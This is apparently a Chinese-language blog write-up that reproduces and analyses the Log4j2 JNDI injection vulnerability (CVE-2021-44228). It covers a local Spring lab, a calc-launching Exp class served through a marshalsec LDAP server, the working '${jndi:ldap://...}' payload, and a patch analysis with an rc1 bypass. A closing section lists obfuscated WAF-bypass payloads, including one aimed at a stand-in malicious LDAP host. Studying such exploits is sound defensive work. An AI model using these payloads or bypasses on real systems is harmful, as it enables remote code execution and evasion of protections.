Log4j2(CVE-2021-44228)漏洞复现及原理思考
前言
Log4j2是一个Java日志组件,被各类Java框架广泛地使用。它的前身是Log4j,Log4j2重新构建和设计了框架,可以认为两者是完全独立的两个日志组件。本次漏洞影响范围为Log4j2最早期的版本2.0-beta9到2.15.0。
因为存在前身Log4j,而且都是Apache下的项目,不管是jar包名称还是package名称,看起来都很相似,导致有些人分不清自己用的是Log4j还是Log4j2。这里给出几个辨别方法:
- Log4j2分为2个jar包,一个是接口
log4j-api-${版本号}.jar,一个是具体实现log4j-core-${版本号}.jar。Log4j只有一个jar包log4j-${版本号}.jar。 - Log4j2的版本号目前均为2.x。Log4j的版本号均为1.x。
- Log4j2的package名称前缀为
org.apache.logging.log4j。Log4j的package名称前缀为org.apache.log4j。
Log4j2的JNDI注入漏洞(CVE-2021-44228)可以称之为“核弹”级别。Log4j2作为类似jdk级别的基础类库,几乎无人幸免。
一、漏洞复现
(一)服务端环境搭建
开发环境:IDEA 2021.2、JDK 8
新建一个Spring项目,File→New→Project,配置如下
勾选Spring Web
如果第一次创建,需稍等片刻下载spring-boot相关依赖,IDEA右下角可查看相关依赖下载进度。
修改pom.xml文件
添加如下代码
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.8.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.8.1</version>
</dependency>
在log4j_demo\src\main\java\com\example\log4j_demo下创建HelloLog4j.java,内容如下
package com.example.log4j_demo;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import java.util.Map;
@RestController
public class HelloLog4j {
private Logger Logger = LogManager.getLogger(HelloLog4j.class);
@RequestMapping(value = "/login" , method = {RequestMethod.POST})
public String login(@RequestBody Map body) {
String user = body.get("user").toString();
String password = body.get("password").toString();
Logger.error("user:{}, password:{}" , user ,password);
return "login";
}
}
IDEA右上角选择Log4jDemoApplication→Edit Configurations,弹窗修改Environment→VM options
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
然后需要检查几个地方
1. JDK版本相关
可能出现的报错,参考:【Java异常】IDEA 报错:无效的目标发行版:17
pom.xml文件中的java.version属性需为8
File→Project Structure→Project,SDK版本如下
File→Project Structure→Modules,Language level如下
Settings→Java Compiler如下
2. SprinBoot版本相关
可能出现的报错,参考:类文件具有错误的版本 61.0, 应为 52.0
pom.xml文件中spring-boot版本
因为Spring官方发布从Spring 6以及SprinBoot 3.0开始最低支持JDK 17,此处用的JDK 8,所以需将SpringBoot版本降低为3.0以下,笔者此处用2.7.8。
上面检查好后,右上角绿色小三角运行项目,控制台输出如下

浏览器访问:http://127.0.0.1:8080/login,错误页面是因为代码中只接收POST请求,不影响
(二)编写EXP
新建一个Java项目,File→New→Project
然后直接Next→Next→起个项目名Exp→Finish
在src目录新建一个Exp.java,内容如下
import java.io.IOException;
public class Exp {
public Exp(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
Exp exploit = new Exp();
}
}
右键运行,可看到计算器被打开,且项目目录Exp\out\production\Exp下生成了Exp.class
在此目录打开cmd,开一个http服务

然后利用反序列化工具marshalsec,开一个LDAP服务
下载:https://github.com/mbechler/marshalsec
参考:https://exploit-notes.hdks.org/exploit/web/log4j-pentesting/#exploit-apache-solr-(jndi)
下载marshalsec,进到主目录,用如下命令编译
mvn clean package -DskipTests
编译成功cmd窗口末尾会显示如下内容

然后开启LDAP服务
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:9898/#Exp"

通过HackBar用POST请求发送json格式payload如下,执行后,会弹出系统计算机
{
"user": "wa0er",
"password": "${jndi:ldap://127.0.0.1:1389/Exp}"
}

此时看LDAP和HTTP服务窗口如下,Exp.class被调用执行

复现成功!
二、原理分析
(一)JNDI注入
参考:https://xz.aliyun.com/t/12277#toc-2
https://tttang.com/archive/1611/#toc_jndi
JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。若程序定义了 JDNI 中的接口 API ,则就可以通过该接口 API 访问系统的 命令服务和目录服务,如下图。JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。
JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意payload,造成注入攻击。
(二)调试分析
由于是JNDI注入,因此可以在InitialContext.lookup(String name)方法下断点(也可以在创建的HelloLog4j.java的Logger.error()处下断点一步一步调试过来,但初次分析依然建议在InitialContext下断点,因为调用链较复杂,涉及循环、分支,且中间有一部分与此漏洞的产生关系不大)

有几个关键点
Logger.error
......
MessagePatternConverter.format
....
StrSubstitutor.resolveVariable
Interpolator.lookup
JndiLookup.lookup
JndiManager.lookup
InitialContext.lookup
1. Logger.error()
从Logger.error()处进来
在进行Logger.error()日志记录时会采用logIfEnabled()方法进行判断,isEnabled()返回为true才可以继续进行日志操作。这里也是漏洞能否成功触发的关键。

在本次漏洞分析过程中日志等级level为ERROR,它的intLevel()为200,而本环境中默认的日志级别this.intLevel为200(ERROR),正好满足this.intLevel >= level.intLevel()。

此时filter()方法返回true,即isEnabled()返回为true,成功进入到logMessage()方法中。log4j默认的日志级别定义如下图,从上到下级别逐渐降低,intLevel()数值逐渐增大,分别是:OFF(0)、FATAL(100)、ERROR(200)、WARN(300)、INFO(400)、DEBUG(500)、TRACE(600)、ALL(2147483647)。由此可见,漏洞能否成功触发与设置的日志Level有关,需要不低于默认日志级别。

然后中间就是读取配置文件创建event事件等操作,一直到MessagePatternConverter.format()。
2. MessagePatternConverter.format()
该方法对日志内容进行解析和格式化,并返回最终格式化后的日志内容。当碰到日志内容中包含${子串时,调用StrSubstitutor进行进一步解析。

3. StrSubstitutor.resolveVariable()
StrSubstitutor将${和}之间的内容提取出来,调用并传递给Interpolator.lookup()方法,实现Lookup功能。

其中,StrSubstitutor.substitute()会经过如下for循环,匹配:-子串,这里就为后面的waf绕过提供了思路。

4. Interpolator.lookup()
Interpolator实际是一个实现Lookup功能的代理类,该类在成员变量strLookupMap中(**本环境是lookups**)保存着各类Lookup功能的真正实现类。Interpolator对上一步提取出的内容解析后,从strLookupMap获得Lookup功能实现类,并调用实现类的lookup()方法。
例如对本例子中的jndi:ldap://127.0.0.1:1389/Exp解析后得到jndi的Lookup功能实现类为JndiLookup,并调用JndiLookup.lookup()方法。
5. JndiLookup.lookup()
JndiLookup.lookup()方法调用JndiManager.lookup()方法处理jndi对象。
6. JndiManager.lookup()
JndiManager.lookup()直接委托给InitialContext.lookup()方法。这里单独提到该方法,是因为后续的补丁中较为重要的变更即为该方法。

至此,后续即可按照常规jndi注入路径进行分析。
三、补丁分析
(一)2.15.0-rc1
通过比较2.15.0-rc1和该版本之前最后一个版本2.14.1之间的差异,可以发现Log4j2团队在12月5日提交了一个名为Restrict LDAP access via JNDI (#608)的commit。该commit的详细内容如下链接:
https://github.com/apache/logging-log4j2/commit/c77b3cb39312b83b053d23a2158b99ac7de44dd3
除去一些测试代码和辅助代码,该commit最主要内容是在 JndiManager.lookup()方法增加了几种限制,分别是allowedHosts、allowedClasses、allowedProtocols。
由于rc1未在maven中央仓库上,因此需要自行下载代码并构建:
到Log4j2的GitHub官方仓库下载rc1:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1。
分别进入log4j-api和log4j-core目录,执行mvn clean install -DskipTests。最终会在本地maven仓库上生成rc1的jar包,版本为2.15.0,后续测试使用该jar包。
说明:此处笔者尝试构建时,maven的国内镜像(阿里云、腾讯云、华为云、网易云)均无法解析2.15.0的jar包

以下图片参考:https://www.freebuf.com/vuls/316143.html

各个限制的内容分别如下:



可以看到,rc1补丁通过对JNDI Lookup增加白名单的方式,限制默认可以访问的主机为本地IP,限制默认支持的协议类型为java、ldap、ldaps,限制LDAP协议默认可以使用的Java类型为少数基础类型,从而大大减少了默认的攻击面。
(二)2.15.0-rc2
1. rc1中存在的问题
rc1里主要修复的JndiManager.lookup()方法的整体逻辑结构如下:
public synchronized <T> T lookup(final String name) throws NamingException {
try {
URI uri = new URI(name);
if (uri.getScheme() != null) {
if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
......
return null;
}
if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
if (!allowedHosts.contains(uri.getHost())) {
......
return null;
}
......
if (!allowedClasses.contains(className)) {
......
return null;
}
......
}
}
} catch (URISyntaxException ex) {
// This is OK.
}
return (T) this.context.lookup(name);
}
从上面的代码结构中可以总结如下的逻辑:
- 对传入的
name参数进行前面提到的三类白名单检查。如果检查不通过,则直接返回null。 - 如果产生
URISyntaxException,则对该异常忽略,继续执行this.context.lookup(name)。 - 如果未产生
URISyntaxException,则执行this.context.lookup(name)。
重点关注catch代码块,rc1默认不对URISyntaxException异常做任何处理,继续执行后续逻辑,即this.context.lookup(name)。
再看下try代码块中可能产生URISyntaxException的地方。好巧不巧,try代码块的第一个语句就可能产生该异常:URI uri = new URI(name);。
试想一下,如果能构造某个特殊的URI,导致URI uri = new URI(name);语句解析URI异常,抛出URISyntaxException,但又能被this.context.lookup(name)正确处理,不就可以绕过了吗?例如构建一个带空格的URI地址(${jndi:ldap://127.0.0.1:1389/ Exp},由于撰写本文时无法构建rc1代码,故可参考https://www.freebuf.com/vuls/316143.html)
2. rc2的修复方案
通过比较2.15.0-rc1和2.15.0-rc2之间的差异,可以发现Log4j2团队在12月10日提交了一个名为Handle URI exception的commit。该commit的详细内容如下链接:
https://github.com/apache/logging-log4j2/commit/bac0d8a35c7e354a0d3f706569116dff6c6bd658
该commit主要内容是对rc1中JndiManager.lookup()方法里的catch代码块进行了修改:当URISyntaxException异常被捕获时,直接返回null。从而避免了上面提到的绕过思路。

四、WAF绕过
各大厂商针对log4j2漏洞应急方案集合:https://mp.weixin.qq.com/s/ZbzLc_N26lgUfvS-mM4R2g
由于Log4j2框架几乎是一个类似JDK级别的基础类库,即便自身应用程序里完成了升级,但大量存在依赖引入的其它框架、中间件导致升级工作极为困难,甚至在几年内都无法达到一个可接受的水平。目前,绝大部分公司采取在边界防护设备上使用“临时补丁”的方式。同时,大量bypass方法也随之而来,这将是一个漫长的过程。
WAF主要思路是过滤jndi、ldap、rmi等关键字;过滤ip:port
原始payload
${jndi:ldap://malicious-ldap-server.com/Exp}
(一)绕过思路1
前面分析提到过,StrSubstitutor首先会匹配${,然后还会匹配:-
以${${::-j}ndi:${::-l}dap://127.0.0.1:1389/Exp}为例
如果找到:-,就截取:-之前的变量赋值给varName,截取:-到末尾的字符串赋值为varDefaultValve,然后就跳出循环。
然后使用resolveVariable() 对varName的内容进行判断,如果不匹配任何log4j2支持的协议,就返回null(这里varName的值为:)。之后就会把varDefaultValve的值(这里为j)赋给varValue。然后再用varValue替换整个${::-j},即最后结果为jndi:ldap://127.0.0.1:1389/Exp。

所以绕过的方法可以是:
${任意字符串:-实际想要的字符串} = 实际想要的字符串
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:1389/Exp}
注意:这里的任意字符串不能为log4j2支持的Interpolator前缀。
(二)绕过思路2
Interpolator除jndi外,还支持解析很多其它前缀,如env、lower、upper,所以可以用如下思路来处理关键字(部分版本不支持lower、upper等协议):
${jndi:${lower:l}${lower:d}a${lower:p}://127.0.0.1:1389/Exp}
(三)绕过思路3
针对过滤ip:port,可用域名代替或用默认端口开启ldap服务
${jndi:ldap://malicious-ldap-server.com/Exp}
${jndi:ldap://malicious-ip/Exp} #此时需要ldap服务端口为389
五、思考
Log4j2漏洞就其自身原理来说,并不复杂,本质上就是jndi注入,分析过程也主要聚焦于jndi注入的产生过程。rc1中采用较为严格的白名单策略,从应急处理的角度看无可厚非。但从历史上发生的各类漏洞修补过程来看,必定会有各种地方遗漏导致后续不断地打补丁。对于WAF的绕过,纵观古今漏洞,往往能在漏洞产生路线的周围找到绕过思路,就像高速公路一样,总会有“事故多发路段”。从软件开发角度讲,与其在上线后不停修复打补丁,不如在开发早期,即设计阶段或者开发阶段,尽量避免这类有可能产生安全风险的设计。在2.16.0版本,Log4j2团队干脆默认禁用掉了JNDI Lookup功能。
另外,rc1中catch代码对异常的处理方式,在日常开发过程中也是容易犯的问题。软件开发中有一个安全原则:Fail Securely,意思是业务系统能够正确安全地处理各种异常和错误。虽然业务开发有时会为了便利性而牺牲一部分安全性,但对于Log4j此类偏底层的强依赖性类库,还是需要严格处理各种可能出现的错误和异常。
阿里云工程师发现Apache Log4j2组件漏洞后,按业界惯例向软件开发方Apache开源社区报告这一问题。但最终工信部网络安全管理局决定暂停阿里云作为上述合作单位6个月。对此,笔者想引用艾公的一句话作为结尾:尊严只在剑锋之上,真理只在大炮射程之内。
参考
记录一次log4j复现之旅(复现不了你来找我):https://blog.csdn.net/lmboss/article/details/123927020
Log4j2的JNDI注入漏洞(CVE-2021-44228)原理分析与思考:https://www.freebuf.com/vuls/316143.html
Apache Log4j2 Jndi RCE 高危漏洞分析与防御:https://paper.seebug.org/1787/
Apache log4j2 远程命令执行漏洞复现:https://cloud.tencent.com/developer/article/2148989
log4j waf 绕过技巧:https://www.cnblogs.com/ph4nt0mer/p/15701647.html